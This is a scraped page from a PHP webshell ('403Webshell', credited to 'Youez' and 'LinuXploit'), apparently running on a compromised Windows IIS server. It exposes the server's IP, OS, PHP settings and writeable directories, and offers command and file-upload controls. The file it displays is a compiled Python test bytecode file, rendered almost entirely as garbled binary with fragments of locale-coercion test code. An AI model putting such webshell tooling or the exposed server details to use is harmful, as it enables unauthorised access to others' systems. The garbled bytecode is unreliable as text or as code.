403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_c_locale_coercion.cpython-313.opt-1.pyc
�

��i�U��p�SSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
Jr SS/rSr
SrSr/S	Qr\R"S
:XaSr
SrO�\R"R%S5(a\R'S
5 O_\R"R%S5(aSr
SrO:\R"S:XaSrO'\R"S:XaSrO\R"S:XaSr
SrS	r\"\R"S;=(a \"\S5=(a	 \"\S55rSrSr\"S\5r"SS\5rSrSrSqSqSq Sr!"SS\RD5r#"S S!\#5r$\	RJ\RL"\RN"S"5S#5"S$S%\#555r(S&r)\*S':Xa\RV"5 gg)(�N)�
namedtuple)�support)�run_python_until_end�Cz
invalid.ascii�asciiT)zC.UTF-8zC.utf8�UTF-8�android�utf-8�linux�POSIX�aixz	iso8859-1�darwin�cygwinF�vxworks)rr�nl_langinfo�CODESETc��Sn[(aUS-
nURU5n[SUSS9up4URS:H$)Nz=import locale; print(locale.setlocale(locale.LC_CTYPE, '{}'))z>; import sys; sys.exit(not locale.nl_langinfo(locale.CODESET))�-c���PYTHONCOERCECLOCALEr)�_check_nl_langinfo_CODESET�formatr�rc)�locale_name�cmd_fmt�cmd�result�py_cmds     �0C:\Python313\\Lib\test\test_c_locale_coercion.py�_set_locale_in_subprocessr!VsD��M�G�!�!��S�S��
�.�.��
%�C�)�$���L�N�F��9�9��>��zBfsencoding stdin_info stdout_info stderr_info lang lc_ctype lc_all�EncodingDetailsc�Z�\rSrSrSR	/SQ5r\S5r\S5rSr	g)r#�d�;)zimport sys, osz"print(sys.getfilesystemencoding())z2print(sys.stdin.encoding + ':' + sys.stdin.errors)z4print(sys.stdout.encoding + ':' + sys.stdout.errors)z4print(sys.stderr.encoding + ':' + sys.stderr.errors)z(print(os.environ.get('LANG', 'not set'))z,print(os.environ.get('LC_CTYPE', 'not set'))z*print(os.environ.get('LC_ALL', 'not set'))c�T�US-nUcSnURU5/S-nURURS55 URSS5nU(a[n	OURSS5n	URSS5n
X�U
4n[	U"U/UQUQ76R55$)	z;Returns expected child process details for a given encodingz:{}�surrogateescape��backslashreplace�LANGznot set�LC_CTYPE�LC_ALL)r�append�get�CLI_COERCION_TARGET�dict�_asdict)�cls�coercion_expected�fs_encoding�stream_encoding�
stream_errors�env_vars�_stream�stream_info�
expected_lang�expected_lc_ctype�expected_lc_all�env_infos            r �get_expected_details�$EncodingDetails.get_expected_detailsqs���"�E�)��� �.�M��~�~�m�4�5��9��	���7�>�>�*<�=�>� ���V�Y�7�
�� 3�� (���Z�� C��"�,�,�x��;�� �_�D���C��=�k�=�H�=�E�E�G�H�Hr"c�x�[SSSUR40UD6up#URS:XdURU5 URRS5R
5n[U"U6R55nURRS5R5R
5nXV4$)a:Retrieves fsencoding and standard stream details from a child process

Returns (encoding_details, stderr_lines):

- encoding_details: EncodingDetails for eager decoding
- stderr_lines: result of calling splitlines() on the stderr output

The child is run in isolated mode if the current interpreter supports
that.
z-Xzutf8=0rrr)r�CHILD_PROCESS_SCRIPTr�fail�out�decode�
splitlinesr1r2�err�rstrip)r3r8rr�stdout_lines�child_encoding_details�stderr_liness       r �get_child_details�!EncodingDetails.get_child_details�s���.��(�D�#�":�":�
��
����y�y�A�~��K�K����z�z�(�(��1�<�<�>��!%�c�<�&8�&@�&@�&B�!C���z�z�(�(��1�8�8�:�E�E�G��%�3�3r"�N)
�__name__�
__module__�__qualname__�__firstlineno__�joinrB�classmethodr?rL�__static_attributes__rNr"r r#r#ds@���8�8�	%�	���I��I�*�4��4r"z�Python runtime initialized with LC_CTYPE=C (a locale with default ASCII encoding), which may cause Unicode compatibility problems. Using C.UTF-8, C.utf8, or UTF-8 (if available) as alternative Unicode-compatible locales is recommended.z�Python detected LC_CTYPE=C: LC_CTYPE coerced to {} (set another locale or PYTHONCOERCECLOCALE=0 to disable this locale coercion behavior).c��[bg/q[H*n[U5(dM[RU5 M, [(a"[Sq[
R
[5q[R(a�[S[<35 [S[<35 [S[<35 [S[<35 [S[<35 [S[<35 [S[<35 gg)	NrzAVAILABLE_TARGETS = z EXPECTED_C_LOCALE_EQUIVALENTS = z$EXPECTED_C_LOCALE_STREAM_ENCODING = z EXPECTED_C_LOCALE_FS_ENCODING = z$EXPECT_COERCION_IN_DEFAULT_LOCALE = z_C_UTF8_LOCALES = z_check_nl_langinfo_CODESET = )�AVAILABLE_TARGETS�_C_UTF8_LOCALESr!r.r0�CLI_COERCION_WARNING_FMTr�CLI_COERCION_WARNINGr�verbose�print�EXPECTED_C_LOCALE_EQUIVALENTS�!EXPECTED_C_LOCALE_STREAM_ENCODING�EXPECTED_C_LOCALE_FS_ENCODING�!EXPECT_COERCION_IN_DEFAULT_LOCALEr)�
target_locales r �setUpModulerb�s���
�$����)�
�$�]�3�3��$�$�]�3�)���/��2��7�>�>�?R�S�����
�$�%6�$9�:�;�
�0�1N�0Q�R�S�
�4�5V�4Y�Z�[�
�0�1N�0Q�R�S�
�4�5V�4Y�Z�[�
�"�?�"5�6�7�
�-�.H�-K�L�M�r"c��\rSrSrSrSrg)�_LocaleHandlingTestCase��c��[RU5nUup�[RUUUUU5n
URX�5 Uc/nURX�5 g)a
Check the C locale handling for the given process environment

Parameters:
    expected_fs_encoding: expected sys.getfilesystemencoding() result
    expected_stream_encoding: expected encoding for standard streams
    expected_warning: stderr output to expect (if any)
N)r#rLr?�assertEqual)�selfr8�expected_fs_encoding�expected_stream_encoding�expected_stream_errors�expected_warningsr4r�encoding_detailsrK�expected_detailss           r �_check_child_encoding_details�5_LocaleHandlingTestCase._check_child_encoding_details�sh��!�2�2�8�<��)/�&��*�?�?�� �$�"��
��	
���)�<��$� "������9r"rNN)rOrPrQrRrorUrNr"r rdrd�s��:r"rdc�0�\rSrSr\S5rSrSrSrg)�LocaleConfigurationTests��c�F�[(d[R"S5eg)Nz No C-with-UTF-8 locale available)rW�unittest�SkipTest)r3s r �
setUpClass�#LocaleConfigurationTests.setUpClass�s!��!� ��#�#�$F�G�G�!r"c��SUlSnSnSSSSSS.nSH_n[HRnUS:XaUS:XaMURUUS9 UR5nXVU'UR	UUUSSSS	9 SSS5 MT Ma g!,(df   Mj=f)
Nr
r�r+r,r-r�PYTHONIOENCODING�r+r,r+r��env_var�configured_localeF�rkrlr4��maxDiffrW�subTest�copyro�rhrirj�
base_var_dictr~�
locale_to_set�var_dicts       r �)test_external_target_locale_configuration�BLocaleConfigurationTests.test_external_target_locale_configuration�s������&��#*� ����#%� "�
�
�,�G�!2�
��f�$��'�)A���\�\�'�4A�"�C�,�1�1�3�H�(5�W�%��6�6�x�7K�7O�NR�IM�IN�7�P�	C�C�"3�,�C�C���)A:�:
B	c��SUlSnSnSSSSSS.nSH_n[HRnUS:XaUS:XaMURUUS9 UR5nXVU'UR	UUUSSS	S
9 SSS5 MT Ma g!,(df   Mj=f)Nr
rrrzr|r+r}�strictFr�r�r�s       r �test_with_ioencoding�-LocaleConfigurationTests.test_with_ioencodings������&��#*� ����#%� '�
�
�,�G�!2�
��f�$��'�)A���\�\�'�4A�"�C�,�1�1�3�H�(5�W�%��6�6�x�7K�7O�NV�IM�IN�7�P�	C�C�"3�,�C�C�r��r�N)	rOrPrQrRrTrwr�r�rUrNr"r rrrr�s%���H��H�!P�F Pr"rr�PY_COERCE_C_LOCALEz(C locale coercion disabled at build timec�F�\rSrSrSSjrSrSrSrSrSr	S	r
S
rg)�LocaleCoercionTestsi@Nc�f�SUl[(d[n[nSnU(a[/nSSSSSS.nURU5 UbX7S'UR
SUS9 [(aUnUn	OSnSn	[R(a
U[/:XaSnURUUUSUU	5 SSS5 [HQn
SHHnUR
UU
USS	9 UR5nX�U'URUUUSUU5 SSS5 MJ MS g!,(df   Nj=f!,(df   Mq=f)
a�Check the C locale handling for various configurations

Parameters:
    fs_encoding: expected sys.getfilesystemencoding() result
    stream_encoding: expected encoding for standard streams
    coerce_c_locale: setting to use for PYTHONCOERCECLOCALE
      None: don't set the variable at all
      str: the value set in the child's environment
    expected_warnings: expected warning lines on stderr
    extra_vars: additional environment variables to set in subprocess
NFrrzrT)�default_localerr|)r~�nominal_localerr{)r�rWr_r^�LEGACY_LOCALE_WARNING�updater�r`r�
is_androidrZror]r�)
rhr5r6�coerce_c_localerlr4�
extra_varsr��_expected_warnings�_coercion_expectedr�r~r�s
             r �_check_c_locale_coercion�,LocaleCoercionTests._check_c_locale_coercionFsf��"��� � �7�K�?�O� %�� �%:�$;�!����#%� "�
�
�	���Z�(��&�3B�/�0��\�\��.=��?�0�0�%6�"�%6�"�%)�"�%*�"�
�"�"�&�+?�*@�@�%)�"��.�.�}�/:�/>�/3�/A�/A�
C�?�.;�M�/���\�\�'�1>�6E�35�"�7� -�1�1�3�H�(5�W�%��6�6�x�7B�7F�7;�7H�7H�J�7�7�0�;�/?�?��27�7�s�A
D�+D!�
D�!
D0c�&�URSSSS9 g)Nr
�r��r��rhs r � test_PYTHONCOERCECLOCALE_not_set�4LocaleCoercionTests.test_PYTHONCOERCECLOCALE_not_set�s���%�%�g�w��%�Mr"c�8�SHnURSSUS9 M g)N)r�1�true�falser
r�r�)rh�settings  r �!test_PYTHONCOERCECLOCALE_not_zero�5LocaleCoercionTests.test_PYTHONCOERCECLOCALE_not_zero�s#��2�G��)�)�'�7�G�)�T�2r"c�2�URSSS[/S9 g)Nr
�warn)r�rl)r�rZr�s r �$test_PYTHONCOERCECLOCALE_set_to_warn�8LocaleCoercionTests.test_PYTHONCOERCECLOCALE_set_to_warn�s#���%�%�g�w�6<�9M�8N�	&�	Pr"c�n�UR[[SSS9 UR[[SSSS9 g)N�0F)r�r4r�r�r-r4)r�r_r^r�s r �$test_PYTHONCOERCECLOCALE_set_to_zero�8LocaleCoercionTests.test_PYTHONCOERCECLOCALE_set_to_zero�sE���%�%�&C�&G�69�8=�	&�	?�
	
�%�%�&C�&G�69�-0�8=�		&�	?r"c	�|�UR[[SSSS9 UR[[SS[/SS9 g)NrFr�r�)r�r-rlr4)r�r_r^r�r�s r �test_LC_ALL_set_to_C�(LocaleCoercionTests.test_LC_ALL_set_to_C�sN���%�%�&C�&G�6:�-0�8=�		&�	?�	
�%�%�&C�&G�6<�-0�9N�8O�8=�	&�	?r"c���[R"[RS5nUR[R[RU5 [R"[RS5nWS:XaURS5 U[;aURSU-5 Sn[[RSS9n[R"[RSU/[RUS	S
9nUR!UR"R%5U5 g![Ra$nUR[
U55 SnAN�SnAff=f)Nrrz.test requires LC_CTYPE locale different than Czcoerced LC_CTYPE locale: %sz=import locale; print(locale.setlocale(locale.LC_CTYPE, None))r�rrT)�stdout�env�text)�locale�	setlocaler,�
addCleanup�Error�skipTest�str�TARGET_LOCALESr1�os�environ�
subprocess�run�sys�
executable�PIPErgr�rH)rh�old_loc�loc�e�coder�rs       r �#test_PYTHONCOERCECLOCALE_set_to_one�7LocaleCoercionTests.test_PYTHONCOERCECLOCALE_set_to_one�s���"�"�6�?�?�D�9������(�(�&�/�/�7�C�	"��"�"�6�?�?�B�7�C��#�:��M�M�J�K��.� ��M�M�7�#�=�>�O���2�:�:�3�7���n�n�c�n�n�d�D�9�$.�O�O�!$�"&�(��	
������*�*�,�c�2���|�|�	"��M�M�#�a�&�!�!��	"�s�%D+�+E#�?E�E#r�)NT)rOrPrQrRr�r�r�r�r�r�r�rUrNr"r r�r�@s3��48�37�	LJ�\N�U�P�?�
?�3r"r�c�.�[R"5 g)N)r�
reap_childrenrNr"r �tearDownModuler��s�����r"�__main__),r�r�r�r��	sysconfigru�collectionsr�testr�test.support.script_helperrr]r^r_r`r��platform�
startswithr.rX�bool�hasattrrr!�_fields�_EncodingDetailsr#r�rYrWr0rZrb�TestCaserdrr�cpython_only�
skipUnless�get_config_varr�r�rO�mainrNr"r �<module>r�s
���	��
���"��;�"%�o� 6��%,�!� '��%)�!�/���<�<�9��(/�%�$+�!��\�\���W�%�%�
"�(�(��1��\�\���U�#�#�(3�%�$/�!��\�\�X��$+�!��\�\�X��).�%��\�\�Y��(/�%�$+�!�1��"��L�L�+�+���F�M�"���F�I�����O���/��9��94�&�94�|��J��������N�<:�h�/�/�:�@MP�6�MP�^	���	���Y�-�-�.B�C�?�A�S3�1�S3�A��S3�l��z���M�M�O�r"

Youez - 2016 - github.com/yon3zu
LinuXploit